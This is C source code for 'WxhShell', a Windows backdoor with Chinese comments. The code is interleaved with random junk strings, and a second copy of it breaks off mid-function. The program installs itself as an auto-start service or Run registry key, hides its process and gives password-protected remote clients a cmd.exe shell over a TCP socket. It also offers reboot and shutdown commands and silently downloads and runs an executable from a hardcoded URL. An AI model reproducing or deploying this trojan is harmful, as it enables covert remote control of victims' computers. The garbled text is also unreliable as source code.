(ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `P8Vh+7u g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B&.FOO NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u(wGl_ [5MJwRM^!; if (!NtQueryInformationProcess) return 0; P5#r,:zL F>-B3x hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .G)(0z("s if(!hProcess) return 0; -:Ia^{YN cgm~> if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L.1_(3NG ]b%Hy CloseHandle(hProcess); ?$6Y2 q&/Yg,p\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8qu2iPOcZ if(hProcess==NULL) return 0; }=6'MjF] 0VGPEKRh HMODULE hMod; L_+k12lm char procName[255]; kMOpi =Z1 unsigned long cbNeeded; &xY^OCt elG<k%/2 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y))u&*RuT0 `9uB~LY^i CloseHandle(hProcess); k25WucQ #&m0WI1 if(strstr(procName,"services")) return 1; // 以服务启动 o;=l^- dUF&."pW e return 0; // 注册表启动 7"w2$*4 '0 } 3`B6w$z>( n ;$5Cq!v= // 主模块 ?kZTI ( int StartWxhshell(LPSTR lpCmdLine) 2#<xAR { %d>=+Ds[ SOCKET wsl; a(9L,v#? BOOL val=TRUE; A%D7bQ int port=0; b r^_'1 struct sockaddr_in door; rZfN+S,g
mi)LP?q if(wscfg.ws_autoins) Install(); _/s(7y! Lv'D^'I port=atoi(lpCmdLine); &*7?)eI!i DV\`Wv if(port<=0) port=wscfg.ws_port; @1 U&UH GA?87N WSADATA data; H*Kj3NgY if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e=Z,
Jg Sz^5b! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;zIP,PMM setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); spGB)k,^ door.sin_family = AF_INET; |/2y-[;: door.sin_addr.s_addr = inet_addr("127.0.0.1"); yI ld75S` door.sin_port = htons(port); eXKo.JL B|4X}*@SX if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hlJq-*6' closesocket(wsl); rfgI$eu
return 1; S6+y?,^ } $P(v{W) Q`rF&)Q5 if(listen(wsl,2) == INVALID_SOCKET) { VGceD$< closesocket(wsl); |ZCn`9hvn return 1; i2sN3it } -Y*bSP)\ Wxhshell(wsl); zD(`B+ WSACleanup(); H~+ l7OhV awOd_![c' return 0; mFSw@CC 0\:(ageY? } H'LD}\K l j8fpj {hp // 以NT服务方式启动 +> WM[o^I VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AwTJJ0> { \uXcLhXN DWORD status = 0; j~+>o[c DWORD specificError = 0xfffffff; g-e#!( A%^w^f serviceStatus.dwServiceType = SERVICE_WIN32; >j'ZPwj^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; :k3Nt5t! serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }yJ$SR]t serviceStatus.dwWin32ExitCode = 0; *_KFW@bC: serviceStatus.dwServiceSpecificExitCode = 0; ,Vh{gm1 serviceStatus.dwCheckPoint = 0; ^ mS
o1?< serviceStatus.dwWaitHint = 0; |6(ZD^w B"v.*
%"&/ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d , Y#H0` if (hServiceStatusHandle==0) return; &CIVL#];e un=2}@ ' status = GetLastError(); Oer^Rk if (status!=NO_ERROR) .>mr%#p { K\$J4~EtG serviceStatus.dwCurrentState = SERVICE_STOPPED; .{=$!8|&I9 serviceStatus.dwCheckPoint = 0; [<{Kw=X__2 serviceStatus.dwWaitHint = 0; x)JOClLr serviceStatus.dwWin32ExitCode = status; cP}KU 5j serviceStatus.dwServiceSpecificExitCode = specificError; gF0q@M y~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); }>'PT- return; K"0PTWt } j8n4fv-)f #fL8Kq serviceStatus.dwCurrentState = SERVICE_RUNNING; \igmv]G% serviceStatus.dwCheckPoint = 0; G
<uyin> serviceStatus.dwWaitHint = 0; GQl$yZaK{ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +8#_59;x } ;?6No(/ r.T<j.\ // 处理NT服务事件,比如:启动、停止 +]|Z%;im VOID WINAPI NTServiceHandler(DWORD fdwControl) :Pg}Zz < { n f.wCtf]. switch(fdwControl) 4<?8M vF { ;i"*Ll>Q) case SERVICE_CONTROL_STOP: Y)$ ;Ax-D serviceStatus.dwWin32ExitCode = 0; 2{Chu85 serviceStatus.dwCurrentState = SERVICE_STOPPED; IZm(`b;t^ serviceStatus.dwCheckPoint = 0; ^m/oDB- serviceStatus.dwWaitHint = 0; >(<ytn t= { Hsihytdj SetServiceStatus(hServiceStatusHandle, &serviceStatus); !j\" w p } :gB[O>'<m return; !TP@-
X; case SERVICE_CONTROL_PAUSE: yY&3p1AxW] serviceStatus.dwCurrentState = SERVICE_PAUSED; R-RDT9&< break; :mS# h@l case SERVICE_CONTROL_CONTINUE: 3"kdjOB serviceStatus.dwCurrentState = SERVICE_RUNNING; 9Li%KOY break; `iJhG^w9M case SERVICE_CONTROL_INTERROGATE: fsEzpUY:{W break; h@@nR(<i }; I`w4Xrd SetServiceStatus(hServiceStatusHandle, &serviceStatus); U|5nNiJM } Z1h] je6CDF qw // 标准应用程序主函数 >rP#ukr5 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X!j{o { g
>'p>}t v|ck>_"
. // 获取操作系统版本 oP2fX_v1x OsIsNt=GetOsVer(); )'hH^(Yu GetModuleFileName(NULL,ExeFile,MAX_PATH); dDD<E?TjD #9m$ N // 从命令行安装 3GmeD/6 if(strpbrk(lpCmdLine,"iI")) Install(); ; h`0ir4[A )m&U#S _; // 下载执行文件 H%1$,]F if(wscfg.ws_downexe) { ~-#yOu
,w if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C'!;J WinExec(wscfg.ws_filenam,SW_HIDE); YqV8D&I } 4:sjH.u< HeK
h> if(!OsIsNt) { 6SC,;p= // 如果时win9x,隐藏进程并且设置为注册表启动 ZZj~GQL(S HideProc(); a2f^x@0k StartWxhshell(lpCmdLine); >z%Q>(F } ^@"H1 else mrJQ# if(StartFromService()) y')RT R{>M // 以服务方式启动 k;EPpr-{ StartServiceCtrlDispatcher(DispatchTable); c.|l-zAeX else 1TM~*<Jb // 普通方式启动 teW6;O_ StartWxhshell(lpCmdLine); )%X;^(zKM #$1og= return 0; kip`Myw+ } W{5:'9, @<@SMK) #-Z8Z
i"44 kJAn4I.l =========================================== @O}7XRJ_8 ~aXqU#8 &(a(W22O <N(oDa U n q19Q) %Td )0Lqp " c DrebU 2T)sXB u #include <stdio.h> 6QNs\Ucb+ #include <string.h> #n #include <windows.h> L!'k !k #include <winsock2.h> A;J MV+2N #include <winsvc.h> &W6^6=E{g #include <urlmon.h> k{AyD`'Q mF09U(ci #pragma comment (lib, "Ws2_32.lib") a{!r`>I\f #pragma comment (lib, "urlmon.lib") >az;!7~cD B(DrY1ztj #define MAX_USER 100 // 最大客户端连接数 ;XC@=RpX #define BUF_SOCK 200 // sock buffer U{ ;l0 2S #define KEY_BUFF 255 // 输入 buffer 46h@j>/K _Hd{sd#xX1 #define REBOOT 0 // 重启 vU*x2fVb} #define SHUTDOWN 1 // 关机 W"Jn(:& #Rew [\$ #define DEF_PORT 5000 // 监听端口 %>WbmpIyc Vh<A2u3& #define REG_LEN 16 // 注册表键长度 + q''y #define SVC_LEN 80 // NT服务名长度 kzq29S '(#g1H3 // 从dll定义API S :8OQI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v8I{XU@% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ibdO*E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nPkZHIxuD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &*&?0ov^" Q0{z).&\(e // wxhshell配置信息 tJ=di5& struct WSCFG { t/Z:)4Z int ws_port; // 监听端口 p8+/\Ee]B char ws_passstr[REG_LEN]; // 口令 ~"!a9GZ int ws_autoins; // 安装标记, 1=yes 0=no @-#T5? char ws_regname[REG_LEN]; // 注册表键名 3P <'F2o char ws_svcname[REG_LEN]; // 服务名 [B0K char ws_svcdisp[SVC_LEN]; // 服务显示名 BwJuYH7QJ$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 np WEop> char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uO >x:*^8 int ws_downexe; // 下载执行标记, 1=yes 0=no bO<0qM~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M;Wha;%E" char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )~rB}>^Z i_F$&?) }; hxC!+ArVe b>~RSO* // default Wxhshell configuration Y'Z+, CNf struct WSCFG wscfg={DEF_PORT, kDB iBNdB "xuhuanlingzhe", mYNEz
@ 1, t]^_l$ "Wxhshell", >Jm"2U}lZW "Wxhshell", hN(L@0) "WxhShell Service", u{bL-a8} "Wrsky Windows CmdShell Service", "]t>ZT:OJ "Please Input Your Password: ", }.:d#]g8 1, qSQ@p\O~ "http://www.wrsky.com/wxhshell.exe", bj"z8 kP "Wxhshell.exe" G5{Ot>;*% }; ggou*;' k|O,1 // 消息定义模块 agaq`^[(P char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9B)lGLL}q char *msg_ws_prompt="\n\r? for help\n\r#>"; acOJ]] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,w&:_n char *msg_ws_ext="\n\rExit."; KtTza5aF char *msg_ws_end="\n\rQuit."; [F|+(} char *msg_ws_boot="\n\rReboot..."; 2q%K)h char *msg_ws_poff="\n\rShutdown..."; , deUsc char *msg_ws_down="\n\rSave to "; C(,=[Fi- g8yN%)[ char *msg_ws_err="\n\rErr!"; Ko}2%4on char *msg_ws_ok="\n\rOK!"; fr#Qz{ X&\o{w9% char ExeFile[MAX_PATH]; cw+g
z!! int nUser = 0; g 2'x#%ET HANDLE handles[MAX_USER]; \n@V-b int OsIsNt; d,R6` i ZPF7m{S SERVICE_STATUS serviceStatus; ogeRYq,g SERVICE_STATUS_HANDLE hServiceStatusHandle; VD#!ztcY' ;i9>}]6 // 函数声明 79z)C35~ int Install(void); 1D$::{h int Uninstall(void); ~Oh=
int DownloadFile(char *sURL, SOCKET wsh); #` +]{4hR int Boot(int flag); g9qC{xd void HideProc(void); ?f@ 9n ph int GetOsVer(void); %FlA":W int Wxhshell(SOCKET wsl); B+Q+0tw*i void TalkWithClient(void *cs); hb! ln7 int CmdShell(SOCKET sock); E{gv,cUM int StartFromService(void); =yh3Nd:u int StartWxhshell(LPSTR lpCmdLine); C|$L6n>DR6 0IFlEe[># VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H56
^n<tg VOID WINAPI NTServiceHandler( DWORD fdwControl ); -,/3"}<^78 S*rO0s: // 数据结构和表定义 (H[ SERVICE_TABLE_ENTRY DispatchTable[] = fM{1Os { qwP $~Bj {wscfg.ws_svcname, NTServiceMain}, 8{@`kyy| {NULL, NULL} IM$0#2\ }; j=Q$K#sBt hpjUkGm5 // 自我安装 b=_{/F*b? int Install(void) :p&IX"Hh { <c\]Ct char svExeFile[MAX_PATH]; NGj"ByVjx HKEY key; #Jv43L H strcpy(svExeFile,ExeFile); }\4p3RQrz p6[#f96^u // 如果是win9x系统,修改注册表设为自启动 GY7s if(!OsIsNt) { w~{| S7/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JE9>8+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wlL8X7+: RegCloseKey(key); 0`Gai2\1@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R|H[lbw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =
uk`pj[l RegCloseKey(key); Me<du&
T return 0; 1XGG.+D } r!~(R+,c } rV~T>x } `11#J;[@G else { wH#-mu#Yl< (tpof
5a // 如果是NT以上系统,安装为系统服务 g#Mv&tU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jPpRsw> if (schSCManager!=0) eB7>t@ED { &
L3UlL SC_HANDLE schService = CreateService $kIo4$.Y$ ( $^K]&Mft schSCManager, p6 <}3m$ wscfg.ws_svcname, M`bL5J; wscfg.ws_svcdisp, L=,Y1nO:p SERVICE_ALL_ACCESS, &:q[-K@! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \.kTe<.:_ SERVICE_AUTO_START, 9='=-;@/5 SERVICE_ERROR_NORMAL, p;F2z;# svExeFile, AX8gij NULL, >"O1`xdG NULL, |&Au6 3 NULL, TMNfJz NULL, bSY;[{Kl NULL
*[VEF ); XL&hs+Y if (schService!=0) 5pB^Y MP { Vj/fAHR`>' CloseServiceHandle(schService); ^W5>i[ CloseServiceHandle(schSCManager); X:R%1+&* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m,=)qex strcat(svExeFile,wscfg.ws_svcname); :cEd [Jm9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QTeFR&q8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8i[".9}G\ RegCloseKey(key); 6GY32\Ac return 0; E3LBPXK } r7RU"H:j8 } b#Jo Xa9 CloseServiceHandle(schSCManager); @uoT{E[ } HRj7n<>L= } WBy[m ?d <8g=BWA return 1;
!8we8)7 } tK*%8I\s C?{D"f`[] // 自我卸载 <sO?ev[ int Uninstall(void) >6XDX=JVI { )-)ss"\+Ju HKEY key; Fgskb"k/ g&q]@m if(!OsIsNt) { k?o^5@b/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |OOXh[y RegDeleteValue(key,wscfg.ws_regname); Td5bDO RegCloseKey(key); ss/h[4h4h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DgC3>
yL RegDeleteValue(key,wscfg.ws_regname); 3Ca
\`m)l RegCloseKey(key); n}=rj7 return 0;
vlAO z } 4}+xeGA$ } zjea4>!A2 } Akv(} !g else { lj4%(rB= bd,Uz%o_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]bs+: if (schSCManager!=0) qbEKp HnB { /3OC7!~;fM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7WgIhQ~ if (schService!=0) n?zbUA# { $Z,i|K; if(DeleteService(schService)!=0) { 7U&5^s
)J CloseServiceHandle(schService); x(rd$oZO CloseServiceHandle(schSCManager); aB=vu=hF return 0; iJ,M-GHK } YR?3 61FK CloseServiceHandle(schService); $K+4C0wX` } Sjw2 j#Q CloseServiceHandle(schSCManager); 1RCXc>}/ } lr-12-D%- } N$C{f;xV L[CU return 1; @>M8Pe } \m(ymp<c` Jq=00fcT+ // 从指定url下载文件 K5 5} Wi int DownloadFile(char *sURL, SOCKET wsh) !'Pk
jP { VV?]U$ HRESULT hr; Y0 @'za^y char seps[]= "/"; "kcpA#uD| char *token; #.<*; rB char *file; `l+ >iM char myURL[MAX_PATH]; $dlnmNP+ char myFILE[MAX_PATH]; {9h`$e= JX2mTQ strcpy(myURL,sURL); I/^q+l.=`{ token=strtok(myURL,seps); )w
Z49>Y while(token!=NULL) Y8D7<V~Md { 44'=;/ file=token; 's$A+8;L token=strtok(NULL,seps); [B}1z } }5fU7&jA;3 {z.[tvE8h GetCurrentDirectory(MAX_PATH,myFILE); f@wsSm strcat(myFILE, "\\"); &sI,8X2a2 strcat(myFILE, file); H(X+.R,Thp send(wsh,myFILE,strlen(myFILE),0); ,:v.L}+Z send(wsh,"...",3,0); &?KPu?9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L{cK^ , if(hr==S_OK) ^;0~6uBEJr return 0; H @_eFlT t else Bv2z4D4f+ return 1; +L^A:}L( (iHf9*i CV } B@ZqJw9J[ v(qV\:s}m // 系统电源模块 `V]egdO int Boot(int flag) u&1j>`~qJ { =nJOaXR0 HANDLE hToken; ,"P5D&,_ TOKEN_PRIVILEGES tkp; .'l.7t Zk~nB}Xw if(OsIsNt) { 0t5Q9#RY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s,1pZT <E LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @J~lV\ tkp.PrivilegeCount = 1; k)N2 +/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <bEN8b AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n%83jep9 if(flag==REBOOT) { E\{^0vNc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vpug"aR&_ return 0; wm); aWP } s,eld@ else { >/7KL2* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =?meO0]y return 0; j#*asGdp#J } 9F2P(aS } }u(d'9u else { X@6zI-Y% if(flag==REBOOT) { X% Spv/8{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^tm++ return 0; >$7wA9YhL } Fy}MXe"f else { xT_fr,P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .yctE:n return 0; (t]lP/
} E[ )7tr } j[$B\H >u BV return 1; o7_MMeQ4 } J{nyo1A Nb^zkg // win9x进程隐藏模块 /3)YWFZZc void HideProc(void) u~/M
{ }XfS#Xr1aV
o9U0kI=W HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GNhtnB if ( hKernel != NULL ) 6MLN>)t { OYqYI!N/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "C$!mdr7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 09}f\/ FreeLibrary(hKernel); $\YLmG } jjS{q,bo z;fd#N: return; 33#7U+~]@ } gFWEodx,9 "!%w9 // 获取操作系统版本 XEf&Yd int GetOsVer(void) 5XSxQG@k^z { Sb:zN'U OSVERSIONINFO winfo; 0[Xt,~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CX&yjT6` GetVersionEx(&winfo); eZN3H"H if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7]M,yIwc return 1; G1#Bb5q: else ]YisZE4s return 0; RE`J"& } 9A/Kn]s(jj 8!o{W=m^4 // 客户端句柄模块 +E q~X=x int Wxhshell(SOCKET wsl) / K_e;(Y_ { 3<zTkI SOCKET wsh; ?z)y%`} struct sockaddr_in client; e'/ DWORD myID; Z30z<d,j $L<_uqSk while(nUser<MAX_USER) I{?E /Sc { 7"a`-]Ap int nSize=sizeof(client); APHtJoS wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +!L_E6pyXE if(wsh==INVALID_SOCKET) return 1; g:.,}L *O(/UVuD\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IS0HV$OI if(handles[nUser]==0) zbIwH6 closesocket(wsh); zJG x5JC else .WL\:{G8; nUser++; =BqaGXr } 5I8FD".i WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [x$eF~Kp -CU7u=*b return 0; A]tf>H#1 } eZR8<Z% 9Th32}H // 关闭 socket e\d5SKY void CloseIt(SOCKET wsh) N#pl mPrZ { PxP?hk closesocket(wsh); rx}ujjx nUser--; N1s$3Ul ExitThread(0); \4\\575zp' } c5B_WqjJ gq/ePSa // 客户端请求句柄 ,IT)zCpaBP void TalkWithClient(void *cs) }> !"SU:d { 8aZey_Hw;+ sO{0hZkc SOCKET wsh=(SOCKET)cs; ~*' 8=D?) char pwd[SVC_LEN]; |z(Ws char cmd[KEY_BUFF]; |oBdryi char chr[1]; U>L=.\\| int i,j; Zeme`/aBb PBAz`y2 while (nUser < MAX_USER) { YL9t3] Lilk8|?#W if(wscfg.ws_passstr) { 282+1X if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~7ATt8T //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VHgF#6' //ZeroMemory(pwd,KEY_BUFF); K)h"G#NZM i=0; I7G\X#,iz while(i<SVC_LEN) { j;AzkReb <D;H}ef // 设置超时
_A)_K;cz fd_set FdRead; d5sGkR`( struct timeval TimeOut; g<hv7?"[ FD_ZERO(&FdRead); t'=~"?T/o FD_SET(wsh,&FdRead); CQ8o9A/ TimeOut.tv_sec=8; U&w5&W{F} TimeOut.tv_usec=0; j quSR= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w}bEufU+2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^+-L;XkeY ?9('o\N: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /K1$_ pwd=chr[0]; +3o)L?:g if(chr[0]==0xd || chr[0]==0xa) { =qS^Wz. pwd=0; DETajf/<F break; Z|Lh^G }
];b!*Z i++; :i,c<k } ,8J*S LKf5r,C // 如果是非法用户,关闭 socket !aW*dD61 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %8}ksl07 } 7u`}t83a #hE3~+i send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hyvV%z Z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V&,<,iNN 5cNzG4z while(1) { qh(-shZ4Du UwL"%0u ZeroMemory(cmd,KEY_BUFF); jzJ1+/9 L
yA(. // 自动支持客户端 telnet标准 e\
l,gQP j=0; S)'q:`tZo while(j<KEY_BUFF) { O 44IH`SI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e}Af"LI cmd[j]=chr[0]; vZ nO if(chr[0]==0xa || chr[0]==0xd) { H8t{ >C)] cmd[j]=0; ~g4rGz break; '9p5UC } mk`cyN>m j++; 9Pob|UA } !iitx U EkjK92cF // 下载文件 /<?X-IDz.{ if(strstr(cmd,"http://")) { m"|(w`n]E+ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2`FsG/o\T~ if(DownloadFile(cmd,wsh)) }'.Sn{OWf send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^cmP else h$ETH1Ue send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ay"2W%([` } G}dOx}kT else { L%s4snE D917[<$ switch(cmd[0]) { pXT$Y8M 0[!gk]p // 帮助 lRATrp#T case '?': { jVFRq T% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HH~
du break; @#--dOWYR } agxSb^ 8tF // 安装 hzPB~obC case 'i': {
jQ\
MB if(Install()) zS"zb send(wsh,msg_ws_err,strlen(msg_ws_err),0); .McoW7|Y else Lc: SqF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p:Ld)U * break; =|5bhwU] } q(ET)xCeD // 卸载 pffw5Tc case 'r': { ZLio8 if(Uninstall()) MoR-8vnJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); b} U&bFl else 9Or4`JOO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GwpBDMk break; g d}TTe
} soVZz3F // 显示 wxhshell 所在路径 teS0F case 'p': { h, 6S$,UI char svExeFile[MAX_PATH]; .'2gJ"?, strcpy(svExeFile,"\n\r"); dR, NC-* strcat(svExeFile,ExeFile); ZR q}g: send(wsh,svExeFile,strlen(svExeFile),0); e}O -I break; NF\^'W@N } UE`4$^qs // 重启 M>H^<N}'A case 'b': { 0)Xue9AS send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b;;Kxi:7$} if(Boot(REBOOT)) &{4Mo,x send(wsh,msg_ws_err,strlen(msg_ws_err),0); D%Jc?6/I#3 else { Pc;
14M closesocket(wsh); 1>@| ExitThread(0); F-7b`cF9[r } KsU&<eQ break; H-
qP>: } E29gnYxu8 // 关机 H[!Q case 'd': { f,
j(uP send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u-M$45vct if(Boot(SHUTDOWN)) rKs WS~U send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?O>JtEz~lQ else { L\?g/l+k closesocket(wsh); W;g+R- ExitThread(0); . N} }cJq } @NwM+^ break; f{5|}PL } SU}oKii
/ // 获取shell V #\ZS{'J case 's': { iGeT^!N CmdShell(wsh); W!0 closesocket(wsh); bOIM0<(h ExitThread(0); ,Yprk%JT break; Eno2<< } CU^3L|f2N // 退出 @C [|'[xQ case 'x': { ,~?A.
5 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \C2P{q/m CloseIt(wsh); {,C8}8a W break; %ih7Jt } #`)-$vUv^f // 离开 !#gE'(J;c case 'q': { -%gd')@SfD send(wsh,msg_ws_end,strlen(msg_ws_end),0); nC{rs+P closesocket(wsh); / z?7ic0
WSACleanup(); M"l rwun^ exit(1); oUKbzr/C break; 0?;Hmq3 } qg:I+"u } 4e\`zy } Fl3r!a!P, d47:2Zj // 提示信息 '2J6%Gg if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QV7c9)<]'} } o@` E.4 } _@;3$eB XoiYtx53 return; /F}\V
^ } ]S aH/$ T9<nD"=: // shell模块句柄 Zy3&Zt int CmdShell(SOCKET sock) 4lf36K, { m7eIhmP STARTUPINFO si; $D\l%y/C ZeroMemory(&si,sizeof(si)); x, G6`|Hl si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i[^lJ)[>N si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =&/a\z! PROCESS_INFORMATION ProcessInfo; p[cL#fBz char cmdline[]="cmd"; >!F,y3"5S CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r<N*N,~ return 0; ^? xJpr%) } >^GCSPe g E+OQWu // 自身启动模式 Z3~*R7G8> int StartFromService(void) J6Nw-qF { T*~)9o typedef struct O36r
,/X { 2965 7k8 DWORD ExitStatus; 4
Wd5Goe: DWORD PebBaseAddress; Hz3X*G\5b DWORD AffinityMask; !!O{ ppM DWORD BasePriority; z\d2T%^:g( ULONG UniqueProcessId; VgTI2 ULONG InheritedFromUniqueProcessId; NWN )b&} } PROCESS_BASIC_INFORMATION; `(suRp8! `+;oo B PROCNTQSIP NtQueryInformationProcess; zP'pfBgbJW < LAD static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LVl0:!>~ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w}q@VVB% >683 4e HANDLE hProcess; 4lUE(#kUM PROCESS_BASIC_INFORMATION pbi; Zw\V}uXI? Wc>)/y5$ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,[1`'nN@g if(NULL == hInst ) return 0; koY8=lh/ <+,0G` g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VCRv(Ek g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tsVhPo]e0 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cB=u;$k@* 3CPOZZ if (!NtQueryInformationProcess) return 0; Ic!83- 2]*~1d hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'c{]#E1} if(!hProcess) return 0; &U)s%D8e;d CHP6H}#|g if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Nb^:_0&H@ iB`]Z@ZC CloseHandle(hProcess); H).5xx[` ;iNx@tz4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x%ag.g2I if(hProcess==NULL) return 0; gc)3 tvxcd*{ HMODULE hMod; u3brb'Y+ char procName[255]; #e2 69FwN unsigned long cbNeeded; 5mVu]T` !sQ8,l0h if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) 